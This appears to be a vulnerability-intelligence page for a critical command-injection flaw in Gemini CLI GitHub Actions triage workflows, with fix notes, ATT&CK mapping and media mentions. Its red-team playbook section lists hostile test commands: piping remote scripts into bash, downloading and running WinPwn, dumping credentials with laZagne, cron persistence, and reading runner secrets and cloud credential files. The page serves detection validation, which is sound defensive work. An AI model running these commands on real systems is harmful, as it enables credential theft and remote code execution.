CVE-2026-85259
Overview
This vulnerability is a command injection flaw rooted in improper input validation within the automated triage workflows of Google Gemini CLI and the run-gemini-cli GitHub Action. The affected component processes GitHub issue inputs without sanitizing or restricting command characters, allowing crafted inputs to be interpreted as shell commands. This occurs specifically in the workflow automation logic that handles issue data on GitHub Actions prior to the 2026-05-12 update.
Vulnerability Description
A Code Injection vulnerability in automated triage workflows in Google Gemini CLI and run-gemini-cli GitHub Action versions prior to 2026-05-12 on GitHub Actions allows an unauthenticated remote attacker to execute arbitrary commands or read sensitive files using crafted GitHub issue inputs.
Impact
An unauthenticated attacker can execute arbitrary commands or read sensitive files on the GitHub Actions runner hosting the vulnerable workflows. No authentication or user interaction is required beyond creating a crafted GitHub issue. This can lead to full system compromise of the CI/CD environment, exposure of secrets or credentials stored on the runner, and potential lateral movement within the development infrastructure.
Solution
Apply the patches released by Google in the run-gemini-cli GitHub repository (pull request #518) and the gemini-cli repository (pull request #26897), which address input sanitization and command execution handling. Update to versions of Google Gemini CLI and run-gemini-cli GitHub Action released on or after 2026-05-12. Refer to the respective GitHub pull request discussions for detailed patch instructions and integration guidance.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
2 eventsSighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
58%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
48%
|
Medium | High |
Red Team Playbook
62 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
News (1)
Mentions (32)
22 mentions from 14 sources in the last 7 days BuzzFactor 78 / 100
-
social bsky.app @elcompilado.com 2026-12-02 19:00 UTCGemini CLI: Google publicó un CVSS 10 en los workflows de triage de GitHub, el arreglo es de mayo y las copias no se actualizan solasOpen source
-
social mastodon.social @hacksgr 2026-12-02 14:51 UTCGoogle has disclosed a critical vulnerability tracked as CVE-2026-85259 affecting legacy automated GitHub Actions workflows in Gemini CLI and the run-gemini-cli action from before May 12, 2026. Rated with a CVSS v4.0 score of 10.0, the fla…Open source
-
social mastodon.social @117581061318136108 2026-12-02 14:41 UTCGoogle veröffentlicht kritische Sicherheitslücke CVE-2026-85259 in Gemini CLI und run-gemini-cli. CVSS: 10,0 von 10. Manipulierte GitHub-Issues können unbefugte Befehlsausführung und den Zugriff auf vertrauliche Dateien ermöglichen. Betrof…Open source
-
social bsky.app @windowsfaq.bsky.social 2026-12-02 14:40 UTCGoogle Gemini CLI: CVE-2026-85259 erreicht den maximalen CVSS-Wert von 10,0. Manipulierte GitHub-Issues können Befehlsausführung und Datendiebstahl ermöglichen. Besonders ältere automatisierte Workflows sollten überprüft werden. #Gemini #G…Open source
-
news cybersecuritynews.com 2026-12-02 14:39 UTCCritical Gemini CLI Vulnerability Lets Hackers Run Malicious Commands Without Login - CyberSecurityNewsOpen source
-
news cybersecuritynews.com 2026-12-02 14:35 UTCCritical Gemini CLI Vulnerability Lets Hackers Run Malicious Commands Without Login - CyberSecurityNewsOpen source
-
news mlq.ai 2026-12-02 14:05 UTCMax-severity Gemini CLI workflow flaw disclosed, months after a quiet fix - MLQ.aiOpen source
-
advisory socradar.io 2026-12-02 11:42 UTCSOCRadar SentinelOne Integration for Hyperautomation - SOCRadarOpen source
-
advisory socradar.io 2026-12-02 10:54 UTCGemini CLI CVE-2026-85259: CVSS 10 Flaw in GitHub Triage Workflows - SOCRadarOpen source
-
news tecnologiageek.com 2026-12-02 07:49 UTCGemini CLI vulnerabilidad crítica ejecuta comandos remotosOpen source
-
advisory socradar.io 2026-12-02 07:15 UTCBreachForums Database Leak: What the bf.st Dump Reveals - SOCRadarOpen source
-
social mastodon.social @117703195132512581 2026-12-02 07:00 UTC⚠️ Critical vulnerability: CVE-2026-85259 (CVSS 10.0) A Code Injection vulnerability in automated triage workflows in Google Gemini CLI and run-gemini-cli GitHub Action versions prior to 2026-05-12 on GitHub Actions allows an unauthenticat…Open source
-
social bsky.app @habsmarthomeeng.bsky.social 2026-12-02 07:00 UTC⚠️ Critical vulnerability: CVE-2026-85259 (CVSS 10.0) A Code Injection vulnerability in automated triage workflows in Google Gemini CLI and run-gemini-cli GitHub Action versions prior to 2026-05-12 on GitHub Actions allows… 🔎 Details: habs…Open source
-
social bsky.app @habsmarthome.bsky.social 2026-12-02 07:00 UTC⚠️ Kritische Schwachstelle: CVE-2026-85259 (CVSS 10,0) A Code Injection vulnerability in automated triage workflows in Google Gemini CLI and run-gemini-cli GitHub Action versions prior to 2026-05-12 on GitHub Actions allows… 🔎 Details: hab…Open source
-
social mastodon.social @117698044798624953 2026-12-02 07:00 UTC⚠️ Kritische Schwachstelle: CVE-2026-85259 (CVSS 10,0) A Code Injection vulnerability in automated triage workflows in Google Gemini CLI and run-gemini-cli GitHub Action versions prior to 2026-05-12 on GitHub Actions allows an unauthentica…Open source
-
social bsky.app @kriptabiz.bsky.social 2026-12-02 03:59 UTCCVE-2026-85259: критическая уязвимость в Gemini CLI, которая ставит под угрозу репозитории GitHub https://kripta.biz/posts/7160FBB5-FA71-439C-BAAA-EBF3E458FC57Open source
-
social bsky.app 2026-12-02 00:57 UTCCVE-2026-85259 CRITICAL (CVSS 10.0) A Code Injection vulnerability in automated triage workflows in Google Gemini CLI and run-gemini-cli GitHub Ac Fix: https://patchthecve.com/cve/CVE-2026-85259.htmlOpen source
-
social bsky.app @stackflag.bsky.social 2026-12-01 23:20 UTCCVE-2026-85259 The Google Gemini command‑line tool and its GitHub Action (run‑gemini‑cli) versions released before May 12, 2026 can be tricked into executing any command or exposing private files when a malicious GitHub issue… Too many irr…Open source
-
social bsky.app @aiuto-ch.bsky.social 2026-12-01 21:31 UTCCVE Radar | CVE-2026-85259 | CVSS 10.0 Critical Gemini CLI Workflow Code Injection CVE-2026-85259 is a critical code-injection vulnerability in automated triage workflows involving Google Gemini CLI and the… Full analysis: https://t.me/aiu…Open source
-
social bsky.app @aisecguru.bsky.social 2026-12-01 21:20 UTCGoogle says Gemini CLI and the run-gemini-cli GitHub Action had a CVSS 10 flaw: a crafted GitHub issue could run commands or read secrets in triage workflows (CVE-2026-85259). Update workflows and rotate keys. https://www.cve.org/CVERecord…Open source
-
advisory socradar.io 2026-11-30 11:29 UTCAI Agents Breach Payment Processors: 737,793 Cards Stolen - SOCRadarOpen source
-
advisory socradar.io 2026-11-26 13:00 UTCRedOps: WeaveLotus Targets Southeast Asian Governments for South China Sea Intelligence - SOCRadarOpen source
-
advisory socradar.io 2026-11-20 08:00 UTCCVE-2026-123890: vCenter Zero-Day Exploited by Armory Castle - SOCRadarOpen source
-
advisory socradar.io 2026-11-11 08:00 UTC126 Tools and the New MSSP MCP Server - SOCRadarOpen source
-
advisory socradar.io 2026-10-16 07:00 UTCCVE-2026-102764: BeyondTrust Zero-Day Exploited - SOCRadarOpen source
-
advisory socradar.io 2026-10-14 07:00 UTCTop RCE Vulnerabilities: 10 Critical CVEs and Exploits - SOCRadarOpen source
-
advisory socradar.io 2026-04-17 07:00 UTCOSINT Framework: What It Is and How to Use It - SOCRadarOpen source
-
advisory socradar.io 2026-01-15 08:00 UTCAnnual Dark Web Report 2025 - SOCRadarOpen source
-
advisory socradar.io 2026-01-08 08:00 UTCWhat Is a Threat Actor? - SOCRadarOpen source
-
advisory socradar.io 2026-01-02 08:00 UTCGoogle Dorks: Definition, Operators, Risks, and Prevention - SOCRadarOpen source
-
advisory socradar.io 2025-11-07 08:00 UTCMajor Cyber Attacks Targeting the Automotive Industry 2025 - SOCRadarOpen source
-
advisory socradar.io 2025-03-10 07:00 UTCTop 20 Cybersecurity Conferences and Events to Attend in 2025 - SOCRadarOpen source
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-85259 |
| github.com |
GitHub CVE
patch
|
https://github.com/google-github-actions/run-gemini-cli/pull/518 |
| github.com |
GitHub CVE
patch
|
https://github.com/google-gemini/gemini-cli/pull/26897 |